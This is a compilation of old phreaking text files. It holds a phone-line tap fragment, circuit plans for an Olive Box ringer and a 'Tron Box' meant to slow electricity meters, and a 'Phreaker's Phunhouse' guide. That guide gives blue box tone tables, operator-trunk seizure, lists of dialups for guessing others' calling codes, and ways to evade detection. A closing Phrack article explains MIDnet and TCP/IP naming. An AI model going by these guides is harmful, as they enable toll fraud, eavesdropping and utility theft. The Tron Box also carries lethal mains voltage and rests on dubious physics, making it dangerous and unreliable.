This two devices can be built for under a total of $10.00. Not too bad. Using
these devices in illegal ways is your option. If you get caught, I accept NO
responsibility for your actions. This can be a lot of fun if used correctly.
Hook it up to the red wire on the phone line and it will send the
conversation over the air waves.
Enjoy!
_
Olive Box Plans Courtesy of Exodus
This is a relatively new box, and all it basically does is serve as a phone
ringer. You have two choices for ringers, a piezoelectric transducer (ringer),
or a standard 8 ohm speaker. The speaker has a more pleasant tone to it, but
either will do fine. This circuit can also be used in conjunction with a rust
box to control an external something or other when the phone rings. Just connect
the 8 ohm speaker output to the inputs on the rust box, and control the pot to
tune it to light the light (which can be replaced by a relay for external
controlling) when the phone rings.
______________
| | ^
NC --|-- 5 4 --|-----/\/\/------->G
| | / R2
G<----)|----|-- 6 3 --|-- NC
| C3 | U1 |
-------|-- 7 2 --|---------- --- -- - > TO RINGER
| |
----|-- 8 1 --|--
| |______________| |
| ---/\/\/----|(----- L1
| R1 C1
------------------------------------------ L2
a. Main ringer TTL circuit
(>::::::::::::::::::::::::::::::::::::::::::::::::::::::::<)
_
FROM PIN 2 < - -- --- ----------| |_| |------------->G
P1
b. Peizoelectric transducer
(>::::::::::::::::::::::::::::::::::::::::::::::::::::::::<)
__ /|
FROM PIN 2 < - -- --- ---------|(---------. .-------| |/ |
>||< |S1| |
>||< --| | |
>||< | |__|\ |
G<---------.>||<.--- \|
T1
c. Elctro magnetic transducer
Parts List
----------
U1 - Texas Instruments TCM1506
T1 - 4000:8 ohm audio transfomer
S1 - 8 ohm speaker
R1 - 2.2k resistor
R2 - External variable resistor; adjusts timing frequency
C1 - .47uF capacitor
C2 - .1uF capacitor
C3 - 10uF capacitor
L1 - Tip
L2 - Ring
L1 and L2 are the phone line.
Shift Rate:
-----------
This is the formula for determining the shift rate:
1 1
SR = --------------------- = ------------ = 6.25 Hz
(DSR(1/f1)+DSR(1/f2)) 128 128
---- + ----
1714 1500
DSR = Shift Devider Rate ratio = 128
f1 = High Output Frequency = 1714
f2 = Low Output Frequency = 1500
_
The Tron Box Written by The GREAT Captain Crunch!!
Courtesy of Exodus
------------------R-----F----
I I I I
I I I I-
(C) (C) (C)
I I I II
I I I
-----------------------------
(C)=CAPACITOR
F =FUSE
R =RESISTOR
I,- ARE WIRE
PARTS LIST:
(3) ELECTROLYTIC CAPACITORS RATED AT 50V(LOWEST) .47UF
(1) 20-30OHM 1/2 WATT RESISTOR
(1) 120VOLT FUSE (AMP RATING BEST TO USE AT LEAST HALF OF TOTAL
HOUSE CURRENT OR EVEN LESS IT KEEPS YOU FROM BLOWING YOUR
BREAKER JUST IN CASE...)
(1) POWER CORD (CUT UP AN EXTENSTION CORD. NEED PLUG PART AND WIRE)
(1) ELECTRICALLY INSULATED BOX
REST OF SIF YOUR DONT FILL COMFORTABLE ABOUT ELECTRICITY THEN DONT
PLAY WITH THIS THERE IS VOLTAGE PRESENT THAT WILL
***KILL*** YOU......................
THE THING WORKS WHEN THE LOAD IN YOUR HOUSE IS LOW LIKE AT NIGHT TIME. IT
WILL PUT A REVERSE PHASE SIGNAL ON THE LINE AND CANCEL OUT THE OTHER PHASE
AND PUT A REVERSE PHASE RUNNING EVERYTHING IN THE HOUSE. WELL IF YOU HAVE
EVER SWITCHED THE POWER LEADS ON A D.C. (BATTERY POWERED) MOTOR YOU
WILL SEE THAT IT RUNS BACKWARDS WELL YOUR ELECTRIC METER SORT OF WORKS
THIS WAY...SO REVERSE PHASE MAKES THE METER SLOW DOWN AND IF YOUR
LUCKY IT WILL GO BACKWARDS. ANYWAY IT MEANS A CHEAPER ELECTRIC BILL.
_
Phreaker's Phunhouse Courtesy of Exodus
The long awaited prequil to Phreaker's Guide has finally arrived.
Conceived from the boredom and loneliness that could only be derived from:
The Traveler! But now, he has returned in full strength (after a small
vacation) and is here to 'World Premiere' the new files everywhere. Stay
cool. This is the prequil to the first one, so just relax. This is not made
to be an exclusive ultra elite file, so kinda calm down and watch in the
background if you are too cool for it.
/-/ Phreak Dictionary /-/
Here you will find some of the basic but necessary terms that should be
known by any phreak who wants to be respected at all.
Phreak : 1. The action of using mischevious and mostly illegal
ways in order to not pay for some sort of telecommunications
bill, order, transfer, or other service.
It often involves usage of highly illegal boxes and
machines in order to defeat the security that is set
up to avoid this sort of happening. [fr'eaking]. v.
2. A person who uses the above methods of destruction and
chaos in order to make a better life for all. A true
phreaker will not not go against his fellows or narc
on people who have ragged on him or do anything
termed to be dishonorable to phreaks. [fr'eek]. n.
3. A certain code or dialup useful in the action of
being a phreak. (Example: "I hacked a new metro
phreak last night.")
Switching System: 1. There are 3 main switching systems currently employed
in the US, and a few other systems will be mentioned
as background.
A) SxS: This system was invented in 1918 and was
employed in over half of the country until 1978. It
is a very basic system that is a general waste of
energy and hard work on the linesman. A good way to
identify this is that it requires a coin in the phone
booth before it will give you a dial tone, or that no
call waiting, call forwarding, or any other such
service is available. Stands for: Step by Step
B) XB: This switching system was first employed in 1978
in order to take care of most of the faults of SxS
switching. Not only is it more efficient, but it
also can support different services in various forms.
XB1 is Crossbar Version 1. That is very limited and
is hard to distinguish from SxS except by direct view
of the wiring involved. Next up was XB4, Crossbar
Version 4. With this system, some of the basic things
like DTMF that were not available with SxS can be
accomplished. For the final stroke of XB, XB5 was
created. This is a service that can allow DTMF plus
most 800 type services (which were not always
available.) Stands for: Crossbar.
C) ESS: A nightmare in telecom. In vivid color, ESS is
a pretty bad thing to have to stand up to. It is
quite simple to identify. Dialing 911 for emergencies,
and ANI [see ANI below] are the most common facets of
the dread system. ESS has the capability to list in a
person's caller log what number was called, how long
the call took, and even the status of the conversation
(modem or otherwise.) Since ESS has been employed,
which has been very recently, it has gone through
many kinds of revisions. The latest system to date is
ESS 11a, that is employed in Washington D.C. for
security reasons. ESS is truly trouble for any
phreak, because it is 'smarter' than the other
systems. For instance, if on your caller log they saw
50 calls to 1-800-421-9438, they would be able to do
a CN/A [see Loopholes below] on your number and
determine whether you are subscribed to that service
or not. This makes most calls a hazard, because
although 800 numbers appear to be free, they are
recorded on your caller log and then right before you
receive your bill it deletes the billings for them.
But before that the are open to inspection, which is
one reason why extended use of any code is dangerous
under ESS. Some of the boxes [see Boxing below] are
unable to function in ESS. It is generally a menace
to the true phreak. Stands For: Electronic Switching
System. Because they could appear on a filter
somewhere or maybe it is just nice to know them
anyways.
A) SSS: Strowger Switching System. First
non-operator system available.
B) WES: Western Electronics Switching. Used about 40
years ago with some minor places out west.
Boxing: 1) The use of personally designed boxes that emit or
cancel electronical impulses that allow simpler
acting while phreaking. Through the use of separate
boxes, you can accomplish most feats possible with
or without the control of an operator.
2) Some boxes and their functions are listed below.
Ones marked with '*' indicate that they are not
operatable in ESS.
*Black Box: Makes it seem to the phone company that
the phone was never picked up.
Blue Box : Emits a 2600hz tone that allows you to do
such things as stack a trunk line, kick
the operator off line, and others.
Red Box : Simulates the noise of a quarter, nickel,
or dime being dropped into a payphone.
Cheese Box : Turns your home phone into a pay phone to
throw off traces (a red box is usually
needed in order to call out.)
*Clear Box : Gives you a dial tone on some of the old
SxS payphones without putting in a coin.
Beige Box : A simpler produced linesman's handset that
allows you to tap into phone lines and
extract by eavesdropping, or crossing
wires, etc.
Purple Box : Makes all calls made out from your house
seem to be local calls.
ANI [ANI]: 1) Automatic Number Identification. A service
available on ESS that allows a phone service [see
Dialups below] to record the number that any certain
code was dialed from along with the number that was
called and print both of these on the customer bill.
950 dialups [see Dialups below] are all designed
just to use ANI. Some of the services do not have
the proper equipment to read the ANI impulses yet,
but it is impossible to see which is which without
being busted or not busted first.
Dialups [dy'l'ups]: 1) Any local or 800 extended outlet that allows instant
access to any service such as MCI, Sprint, or AT&T
that from there can be used by handpicking or using
a program to reveal other peoples codes which can
then be used moderately until they find out about
it and you must switch to another code (preferrably
before they find out about it.)
2) Dialups are extremely common on both senses. Some
dialups reveal the company that operates them as
soon as you hear the tone. Others are much harder
and some you may never be able to identify. A small
list of dialups:
1-800-421-9438 (5 digit codes)
1-800-547-6754 (6 digit codes)
1-800-345-0008 (6 digit codes)
1-800-734-3478 (6 digit codes)
1-800-222-2255 (5 digit codes)
3) Codes: Codes are very easily accessed procedures
when you call a dialup. They will give you some sort
of tone. If the tone does not end in 3 seconds,
then punch in the code and immediately following the
code, the number you are dialing but strike the
'1' in the beginning out first. If the tone does
end, then punch in the code when the tone ends.
Then, it will give you another tone. Punch in the
number you are dialing, or a '9'. If you punch in
a '9' and the tone stops, then you messed up a
little. If you punch in a tone and the tone
continues, then simply dial then number you are
calling without the '1'.
4) All codes are not universal. The only type that I
know of that is truly universal is Metrophone.
Almost every major city has a local Metro dialup
(for Philadelphia, (215)351-0100/0126) and since the
codes are universal, almost every phreak has used
them once or twice. They do not employ ANI in any
outlets that I know of, so feel free to check
through your books and call 555-1212 or, as a more
devious manor, subscribe yourself. Then, never use
your own code. That way, if they check up on you due
to your caller log, they can usually find out that
you are subscribed. Not only that but you could set
a phreak hacker around that area and just let it
hack away, since they usually group them, and, as a
bonus, you will have their local dialup.
5) 950's. They seem like a perfectly cool phreakers
dream. They are free from your house, from payphones,
from everywhere, and they host all of the major long
distance companies (950)1044 , 950)1077
, 950-1088 , 950-1033 .) Well, they aren't. They were designed for
ANI. That is the point, end of discussion.
A phreak dictionary. If you remember all of the things contained on
that fileup there, you may have a better chance of doing whatever it is you
do. This next section is maybe a little more interesting...
Blue Box Plans:
---------------
These are some blue box plans, but first, be warned, there have been
2600hz tone detectors out on operator trunk lines since XB4. The idea behind
it is to use a 2600hz tone for a few very naughty functions that can really
make your day lighten up. But first, here are the plans, or the heart of the
file:
700 : 1 : 2 : 4 : 7 : 11 :
900 : + : 3 : 5 : 8 : 12 :
1100 : + : + : 6 : 9 : KP :
1300 : + : + : + : 10 : KP2 :
1500 : + : + : + : + : ST :
: 700 : 900 :1100 :1300 :1500 :
Stop! Before you diehard users start piecing those little tone tidbits
together, there is a simpler method. If you have an Apple-Cat with a
program like Cat's Meow IV, then you can generate the necessary tones, the
2600hz tone, the KP tone, the KP2 tone, and the ST tone through the dial
section. So if you have that I will assume you can boot it up and it works,
and I'll do you the favor of telling you and the other users what to do with
the blue box now that you have somehow constructed it. The connection to an
operator is one of the most well known and used ways of having fun with your
blue box. You simply dial a TSPS (Traffic Service Positioning Station, or
the operator you get when you dial '0') and blow a 2600hz tone through the
line. Watch out! Do not dial this direct! After you have done that, it is
quite simple to have fun with it. Blow a KP tone to start a call, a ST tone
to stop it, and a 2600hz tone to hang up. Once you have connected to it,
here are some fun numbers to call with it:
0-700-456-1000 Teleconference (free, because you are the operator!)
(Area code)-101 Toll Switching
(Area code)-121 Local Operator (hehe)
(Area code)-131 Information
(Area code)-141 Rate & Route
(Area code)-181 Coin Refund Operator
(Area code)-11511 Conference operator (when you dial 800-544-6363)
Well, those were the tone matrix controllers for the blue box and some
other helpful stuff to help you to start out with. But those are only the
functions with the operator. There are other k-fun things you can do with it.
More advanced Blue Box Stuff:
Oops. Small mistake up there. I forgot tone lengths. Um, you blow a
tone pair out for up to 1/10 of a second with another 1/10 second for silence
between the digits. KP tones should be sent for 2/10 of a second. One way to
confuse the 2600hz traps is to send pink noise over the channel (for all of
you that have decent BSR equalizers, there is major pink noise in there.)
Using the operator functions is the use of the 'inward' trunk line.
Thatis working it from the inside. From the 'outward' trunk, you can do such
things as make emergency breakthrough calls, tap into lines, busy all of the
lines in any trunk (called 'stacking'), enable or disable the TSPS's, and
for some 4a systems you can even re-route calls to anywhere.
All right. The one thing that every complete phreak guide should be
without is blue box plans, since they were once a vital part of phreaking.
Another thing that every complete file needs is a complete listing of all of
the 800 numbers around so you can have some more Fu7nC_
/-/ 800 Dialup Listings /-/
1-800-345-0008 (6) 1-800-547-6754 (6)
1-800-245-4890 (4) 1-800-327-9136 (4)
1-800-526-5305 (8) 1-800-858-9000 (3)
1-800-437-9895 (7) 1-800-245-7508 (5)
1-800-343-1844 (4) 1-800-322-1415 (6)
1-800-437-3478 (6) 1-800-325-7222 (6)
All right, set Cat Hacker 1.0 on those numbers and have a fuck of a
day. That is enough with 800 codes, by the time this gets around to you I
dunno what state those codes will be in, but try them all out anyways and
see what you get. On some 800 services now, they have an operator who will
answer and ask you for your code, and then your name. Some will switch back
and forth between voice and tone verification, you can never be quite sure
which you will be upagainst.
Armed with this knowledge you should be having a pretty good time
phreaking now. But class isn't over yet, there are still a couple important
rules that you should know. If you hear continual clicking on the line, then
you should assume that an operator is messing with something, maybe even
listening in on you. It is a good idea to call someone back when the phone
starts doing that. If you were using a code, use a different code and/or
service to call him back.
A good way to detect if a code has gone bad or not is to listen when
the number has been dialed. If the code is bad you will probably hear the
phone ringing more clearly and more quickly than if you were using a
different code. If someone answers voice to it then you can immediately
assume that it is an operative for whatever company you are using. The famed
'311311' code for Metro is one of those. You would have to be quite stupid
to actually respond, because whoever you ask for the operator will always
say 'He's not in right now, can I have him call you back?' and then they
will ask for your name and phone number. Some of the more sophisticated
companies will actually give you a carrier on a line that is supposed to
give you a carrier and then just have garbage flow across the screen like it
would with a bad connection. That is a feeble effort to make you think that
the code is still working and maybe get you to dial someone's voice, a good
test for the carrier trick is to dial anumber that will give you a carrier
that you have never dialed with that code before, that will allow you to
determine whether the code is good or not. For our next section, a lighter
look at some of the things that a phreak should not be without. A vocabulary.
A few months ago, it was a quite strange world for the modem people out
there. But now, a phreaker's vocabulary is essential if you wanna make a
good impression on people when you post what you know about certain subjects.
/-/ Vocabulary /-/
- Do not misspell except certain exceptions:
phone -> fone
freak -> phreak
- Never substitute 'z's for 's's. (i.e. codez -> codes)
- Never leave many characters after a post (i.e. Hey Dudes!#!@#@!#!@)
- NEVER use the 'k' prefix (k-kool, k-rad, k-whatever)
- Do not abbreviate. (I got lotsa wares w/ docs)
- Never substitute '0' for 'o' (r0dent, l0zer).
- Forget about ye old upper case, it looks ruggyish.
All right, that was to relieve the tension of what is being drilled
into your minds at the moment. Now, however, back to the teaching course.
Here are somethings you should know about phones and billings for phones,
etc.
LATA: Local Access Transference Area. Some people who live in large
cities or areas may be plagued by this problem. For instance, let's say you
live in the 215 area code under the 542 prefix (Ambler, Fort Washington). If
you went to dial in a basic Metro code from that area, for instance,
351-0100, that might not be counted under unlimited local calling because it
is out of your LATA. For some LATA's, you have to dial a '1' without the
area code before you can dial the phone number. That could prove a hassle
for us all if you didn't realize you would be billed for that sort of call.
In that way, sometimes, it is better to be safe than sorry and phreak.
The Caller Log: In ESS regions, for every household around, the phone
company has something on you called a Caller Log. This shows every single
number that you dialed, and things can be arranged so it showed every number
that was calling to you. That's one main disadvantage of ESS, it is mostly
computerized so a number scan could be done like that quite easily. Using a
dialup is an easy way to screw that, and is something worth remembering.
Anyways, with the caller log, they check up and see what you dialed. Hmm...
you dialed 15 different 800 numbers that month. Soon they find that you are
subscribed to none of those companies. But that is not the only thing. Most
people would imagine "But wait! 800 numbers don't show up on my phone
bill!". To those people, it is a nice thought, but 800 numbers are picked up
on the caller log until right before they are sent off to you. So they can
check right up on you before they send it away and can note the fact that
you fucked up slightly and called one too many 800 lines.
Right now, after all of that, you should have a pretty good idea of how
to grow up as a good phreak. Follow these guidelines, don't show off, and
don't take unnecessary risks when phreaking or hacking.
(*Greets to Pee Wee for this file taken from his 'Hell Disk' #1*)
-----------Exodus----------
_
==Phrack Inc.==
Volume Three, Issue 27, File 3 of 12
<><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><>
<> <>
<> Introduction to MIDNET <>
<> ~~~~~~~~~~~~~~~~~~~~~~ <>
<> Chapter Seven Of The Future Transcendent Saga <>
<> <>
<> A More Indepth Look Into NSFnet <>
<> National Science Foundation Network <>
<> <>
<> Presented by Knight Lightning <>
<> June 16, 1989 <>
<> <>
<><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><>
Prologue
~~~~~~~~
If you are not already familiar with NSFnet, I would suggest that you read:
"Frontiers" (Phrack Inc., Volume Two, Issue 24, File 4 of 13), and definitely;
"NSFnet: National Science Foundation Network" (Phrack Inc., Volume Three,
Issue 26, File 4 of 11).
Table Of Contents
~~~~~~~~~~~~~~~~~
* Introduction
* The DOD Protocol Suite
* Names and Addresses In A Network
* Telnet (*NOT* Telenet)
* File Transfer
* Mail
Introduction
~~~~~~~~~~~~
MIDNET is a regional computer network that is part of the NSFnet, the National
Science Foundation Network. Currently, eleven mid-United States universities
are connected to each other and to the NSFnet via MIDnet:
UA - University of Arkansas at Fayetteville
ISU - Iowa State University at Ames
UI - University of Iowa at Iowa City
KSU - Kansas State University at Manhattan
KU - University of Kansas at Lawrence
UMC - University of Missouri at Columbia
WU - Washington University at St. Louis, Missouri
UNL - University of Nebraska at Lincoln
OSU - Oklahoma State University at Stillwater
UT - University of Tulsa (Oklahoma)
OU - University of Oklahoma at Norman
Researchers at any of these universities that have funded grants can access the
six supercomputer centers funded by the NSF:
John Von Neuman Supercomputer Center
National Center for Atmospheric Research
Cornell National Supercomputer Facility
National Center for Supercomputing Applications
Pittsburgh Supercomputing Center
San Diego Supercomputing Center
In addition, researchers and scientists can communicate with each other over a
vast world-wide computer network that includes the NSFnet, ARPAnet, CSnet,
BITnet, and others that you have read about in The Future Transcendent Saga.
Please refer to "Frontiers" (Phrack Inc., Volume Two, Issue 24, File 4 of 13)
for more details.
MIDnet is just one of several regional computer networks that comprise the
NSFnet system. Although all of these regional computer networks work the same,
MIDnet is the only one that I have direct access to and so this file is written
from a MIDnet point of view. For people who have access to the other regional
networks of NSFnet, the only real differences depicted in this file that would
not apply to the other regional networks are the universities that are served
by MIDnet as opposed to:
NYSERnet in New York State
SURAnet in the southeastern United States
SEQSUInet in Texas
BARRnet in the San Francisco area
MERIT in Michigan
(There are others that are currently being constructed.)
These regional networks all hook into the NSFnet backbone, which is a network
that connects the six supercomputer centers. For example, a person at Kansas
State University can connect with a supercomputer via MIDnet and the NSFnet
backbone. That researcher can also send mail to colleagues at the University
of Delaware by using MIDnet, NSFnet and SURAnet. Each university has its own
local computer network which connects on-campus computers as well as providing
a means to connecting to a regional network.
Some universities are already connected to older networks such as CSnet, the
ARPAnet and BITnet. In principal, any campus connected to any of these
networks can access anyone else in any other network since there are gateways
between the networks.
Gateways are specialized computers that forward network traffic, thereby
connecting networks. In practice, these wide-area networks use different
networking technology which make it impossible to provide full functionality
across the gateways. However, mail is almost universally supported across all
gateways, so that a person at a BITnet site can send mail messages to a
colleague at an ARPAnet site (or anywhere else for that matter). You should
already be somewhat familiar with this, but if not refer to;
"Limbo To Infinity" (Phrack Inc., Volume Two, Issue 24, File 3 of 13) and
"Internet Domains" (Phrack Inc., Volume Three, Issue 26, File 8 of 11)
Computer networks rely on hardware and software that allow computers to
communicate. The language that enables network communication is called a
protocol. There are many different protocols in use today. MIDnet uses the
TCP/IP protocols, also known as the DOD (Department of Defense) Protocol Suite.
Other networks that use TCP/IP include ARPAnet, CSnet and the NSFnet. In fact,
all the regional networks that are linked to the NSFnet backbone are required
to use TCP/IP. At the local campus level, TCP/IP is often used, although other
protocols such as IBM's SNA and DEC's DECnet are common. In order to
communicate with a computer via MIDnet and the NSFnet, a computer at a campus
must use TCP/IP directly or use a gateway that will translate its protocols
into TCP/IP.
The Internet is a world-wide computer network that is the conglomeration of
most of the large wide area networks, including ARPAnet, CSnet, NSFnet, and the
regionals, such as MIDnet. To a lesser degree, other networks such as BITnet
that can send mail to hosts on these networks are included as part of the
Internet. This huge network of networks, the Internet, as you have by now read
all about in the pages of Phrack Inc., is a rapidly growing and very complex
entity that allows sophisticated communication between scientists, students,
government officials and others. Being a part of this community is both
exciting and challenging.
This chapter of the Future Transcendent Saga gives a general description of the
protocols and software used in MIDnet and the NSFNet. A discussion of several
of the more commonly used networking tools is also included to enable you to
make practical use of the network as soon as possible.
The DOD Protocol Suite
~~~~~~~~~~~~~~~~~~~~~~
The DOD Protocol Suite includes many different protocols. Each protocol is a
specification of how communication is to occur between computers. Computer
hardware and software vendors use the protocol to create programs and sometimes
specialized hardware in order to implement the network function intended by the
protocol. Different implementations of the same protocol exist for the varied
hardware and operating systems found in a network.
The three most commonly used network functions are:
Mail -- Sending and receiving messages
File Transfer -- Sending and receiving files
Remote Login -- Logging into a distant computer
Of these, mail is probably the most commonly used.
In the TCP/IP world, there are three different protocols that realize these
functions:
SMTP -- (Simple Mail Transfer Protocol) Mail
FTP -- (File Transfer Protocol) sending and receiving files
Telnet -- Remote login
How to use these protocols is discussed in the next section. At first glance,
it is not obvious why these three functions are the most common. After all,
mail and file transfer seem to be the same thing. However, mail messages are
not identical to files, since they are usually comprised of only ASCII
characters and are sequential in structure. Files may contain binary data and
have complicated, non-sequential structures. Also, mail messages can usually
tolerate some errors in transmission whereas files should not contain any
errors. Finally, file transfers usually occur in a secure setting (i.e. The
users who are transferring files know each other's names and passwords and are
permitted to transfer the file, whereas mail can be sent to anybody as long as
their name is known).
While mail and transfer accomplish the transfer of raw information from one
computer to another, Telnet allows a distant user to process that information,
either by logging in to a remote computer or by linking to another terminal.
Telnet is most often used to remotely log in to a distant computer, but it is
actually a general-purpose communications protocol. I have found it incredibly
useful over the last year. In some ways, it could be used for a great deal of
access because you can directly connect to another computer anywhere that has
TCP/IP capabilities, however please note that Telnet is *NOT* Telenet.
There are other functions that some networks provide, including the following:
- Name to address translation for networks, computers and people
- The current time
- Quote of the day or fortune
- Printing on a remote printer, or use of any other remote peripheral
- Submission of batch jobs for non-interactive execution
- Dialogues and conferencing between multiple users
- Remote procedure call (i.e. Distributing program execution over several
remote computers)
- Transmission of voice or video information
Some of these functions are still in the experimental stages and require faster
computer networks than currently exist. In the future, new functions will
undoubtedly be invented and existing ones improved.
The DOD Protocol Suite is a layered network architecture, which means that
network functions are performed by different programs that work independently
and in harmony with each other. Not only are there different programs but
there are different protocols. The protocols SMTP, FTP and Telnet are
described above. Protocols have been defined for getting the current time, the
quote of the day, and for translating names. These protocols are called
applications protocols because users directly interact with the programs that
implement these protocols.
The Transmission Control Protocol, TCP, is used by many of the application
protocols. Users almost never interact with TCP directly. TCP establishes a
reliable end-to-end connection between two processes on remote computers. Data
is sent through a network in small chunks called packets to improve reliability
and performance. TCP ensures that packets arrive in order and without errors.
If a packet does have errors, TCP requests that the packet be retransmitted.
In turn, TCP calls upon IP, Internet Protocol, to move the data from one
network to another. IP is still not the lowest layer of the architecture,
since there is usually a "data link layer protocol" below it. This can be any
of a number of different protocols, two very common ones being X.25 and
Ethernet.
FTP, Telnet and SMTP are called "application protocols", since they are
directly used by applications programs that enable users to make use of the
network. Network applications are the actual programs that implement these
protocols and provide an interface between the user and the computer. An
implementation of a network protocol is a program or package of programs that
provides the desired network function such as file transfer. Since computers
differ from vendor to vendor (e.g. IBM, DEC, CDC), each computer must have its
own implementation of these protocols. However, the protocols are standardized
so that computers can interoperate over the network (i.e. Can understand and
process each other's data). For example, a TCP packet generated by an IBM
computer can be read and processed by a DEC computer.
In many instances, network applications programs use the name of the protocol.
For example, the program that transfers files may be called "FTP" and the
program that allows remote logins may be called "Telnet." Sometimes these
protocols are incorporated into larger packages, as is common with SMTP. Many
computers have mail programs that allow users on the same computer to send mail
to each other. SMTP functions are often added to these mail programs so that
users can also send and receive mail through a network. In such cases, there
is no separate program called SMTP that the user can access, since the mail
program provides the user interface to this network function.
Specific implementation of network protocols, such as FTP, are tailored to the
computer hardware and operating system on which they are used. Therefore, the
exact user interface varies from one implementation to another. For example,
the FTP protocol specifies a set of FTP commands which each FTP implementation
must understand and process. However, these are usually placed at a low level,
often invisible to the user, who is given a higher set of commands to use.
These higher-level commands are not standardized so they may vary from one
implementation of FTP to another. For some operating systems, not all of these
commands make equal sense, such as "Change Directory," or may have different
meanings. Therefore the specific user interface that the user sees will
probably differ.
This file describes a generic implementation of the standard TCP/IP application
protocols. Users must consult local documentation for specifics at their
sites.
Names and Addresses In A Network
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
In DOD Protocol Suite, each network is given a unique identifying number. This
number is assigned by a central authority, namely the Network Information
Center run by SRI, abbreviated as SRI-NIC, in order to prevent more than one
network from having the same network number. For example, the ARPAnet has
network number 10 while MIDnet has a longer number, namely 128.242.
Each host in a network has a unique identification so other hosts can specify
them unambiguously. Host numbers are usually assigned by the organization that
manages the network, rather than one central authority. Host numbers do not
need to be unique throughout the whole Internet but two hosts on the same
network need to have unique host numbers.
The combination of the network number and the host number is called the IP
address of the host and is specified as a 32-bit binary number. All IP
addresses in the Internet are expressible as 32-bit numbers, although they are
often written in dotted decimal notation. Dotted decimal notation breaks the
32-bit number into four eight-bit parts or octets and each octet is specified
as a decimal number. For example, 00000001 is the binary octet that specifies
the decimal number 1, while 11000000 specifies 192. Dotted decimal notation
makes IP addresses much easier to read and remember.
Computers in the Internet are also identified by hostnames, which are strings
of characters, such as "phrackvax." However, IP packets must specify the
32-bit IP address instead of the hostname so some way to translating hostnames
to IP addresses must exist.
One way is to have a table of hostnames and their corresponding IP addresses,
called a hosttable. Nearly every TCP/IP implementation has such a hosttable,
although the weaknesses of this method are forcing a shift to a new scheme
called the domain name system. In UNIX systems, the hosttable is often called
"/etc/hosts." You can usually read this file and find out what the IP
addresses of various hosts are. Other systems may call this file by a
different name and make it unavailable for public viewing.
Users of computers are generally given accounts to which all charges for
computer use are billed. Even if computer time is free at an installation,
accounts are used to distinguish between the users and enforce file
protections. The generic term "username" will be used in this file to refer to
the name by which the computer account is accessed.
In the early days of the ARPAnet which was the first network to use the TCP/IP
protocols, computer users were identified by their username, followed by a
commercial "at" sign (@), followed by the hostname on which the account
existed. Networks were not given names, per se, although the IP address
specified a network number.
For example, "knight@phrackvax" referred to user "knight" on host "phrackvax."
This did not specify which network "phrackvax" was on, although that
information could be obtained by examining the hosttable and the IP address for
"phrackvax." (However, "phrackvax" is a ficticious hostname used for this
presentation.)
As time went on, every computer on the network had to have an entry in its
hosttable for every other computer on the network. When several networks
linked together to form the Internet, the problem of maintaining this central
hosttable got out of hand. Therefore, the domain name scheme was introduced to
split up the hosttable and make it smaller and easier to maintain.
In the new domain name scheme, users are still identified by their usernames,
but hosts are now identified by their hostname and any and all domains of which
they are a part. For example, the following address,
"KNIGHT@UMCVMB.MISSOURI.EDU" specifies username "KNIGHT" on host "UMCVMB".
However, host "UMCVMB" is a part of the domain "MISSOURI" " which is in turn
part of the domain "EDU". There are other domains in "EDU", although only one
is named "MISSOURI". In the domain "MISSOURI", there is only one host named
"UMCVMB".
However, other domains in "EDU" could theoretically have hosts named "UMCVMB"
(although I would say that this is rather unlikely in this example). Thus the
combination of hostname and all its domains makes it unique. The method of
translating such names into IP addresses is no longer as straightforward as
looking up the hostname in a table. Several protocols and specialized network
software called nameservers and resolvers implement the domain name scheme.
Not all TCP/IP implementations support domain names because it is rather new.
In those cases, the local hosttable provides the only way to translate
hostnames to IP addresses. The system manager of that computer will have to
put an entry into the hosttable for every host that users may want to connect
to. In some cases, users may consult the nameserver themselves to find out the
IP address for a given hostname and then use that IP address directly instead
of a hostname.
I have selected a few network hosts to demonstrate how a host system can be
specified by both the hostname and host numerical address. Some of the nodes I
have selected are also nodes on BITnet, perhaps even some of the others that I
do not make a note of due a lack of omniscent awareness about each and every
single host system in the world :-)
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Numerical Hostname Location BITnet
--------- -------- -------- ------
18.72.0.39 ATHENA.MIT.EDU (Mass. Institute of Technology) ?
26.0.0.73 SRI-NIC.ARPA (DDN Network Information Center) -
36.21.0.13 MACBETH.STANFORD.EDU (Stanford University) ?
36.21.0.60 PORTIA.STANFORD.EDU (Stanford University) ?
128.2.11.131 ANDREW.CMU.EDU (Carnegie Mellon University) ANDREW
128.3.254.13 LBL.GOV (Lawrence Berkeley Labrotories) LBL
128.6.4.7 RUTGERS.RUTGERS.EDU (Rutgers University) ?
128.59.99.1 CUCARD.MED.COLUMBIA.EDU (Columbia University) ?
128.102.18.3 AMES.ARC.NASA.GOV (Ames Research Center [NASA]) -
128.103.1.1 HARVARD.EDU (Harvard University) HARVARD
128.111.24.40 HUB.UCSB.EDU (Univ. Of Calif-Santa Barbara) ?
128.115.14.1 LLL-WINKEN.LLNL.GOV (Lawrence Livermore Labratories) -
128.143.2.7 UVAARPA.VIRGINIA.EDU (University of Virginia) ?
128.148.128.40 BROWNVM.BROWN.EDU (Brown University) BROWN
128.163.1.5 UKCC.UKY.EDU (University of Kentucky) UKCC
128.183.10.4 NSSDCA.GSFC.NASA.GOV (Goddard Space Flight Center [NASA])-
128.186.4.18 RAI.CC.FSU.EDU (Florida State University) FSU
128.206.1.1 UMCVMB.MISSOURI.EDU (Univ. of Missouri-Columbia) UMCVMB
128.208.1.15 MAX.ACS.WASHINGTON.EDU (University of Washington) MAX
128.228.1.2 CUNYVM.CUNY.EDU (City University of New York) CUNYVM
129.10.1.6 NUHUB.ACS.NORTHEASTERN.EDU (Northeastern University) NUHUB
131.151.1.4 UMRVMA.UMR.EDU (University of Missouri-Rolla) UMRVMA
192.9.9.1 SUN.COM (Sun Microsystems, Inc.) -
192.33.18.30 VM1.NODAK.EDU (North Dakota State Univ.) NDSUVM1
192.33.18.50 PLAINS.NODAK.EDU (North Dakota State Univ.) NDSUVAX
Please Note: Not every system on BITnet has an IP address. Likewise, not
every system that has an IP address is on BITnet. Also, while
some locations like Stanford University may have nodes on BITnet
and have hosts on the IP as well, this does not neccessarily
imply that the systems on BITnet and on IP (the EDU domain in
this case) are the same systems.
Attempts to gain unauthorized access to systems on the Internet
are not tolerated and is legally a federal offense. At some
hosts, they take this very seriously, especially the government
hosts such as NASA's Goddard Space Flight Center, where they do
not mind telling you so at the main prompt when you connect to
their system.
However, some nodes are public access to an extent. The DDN
Network Information Center can be used by anyone. The server and
database there have proven to be an invaluable source of
information when locating people, systems, and other information
that is related to the Internet.
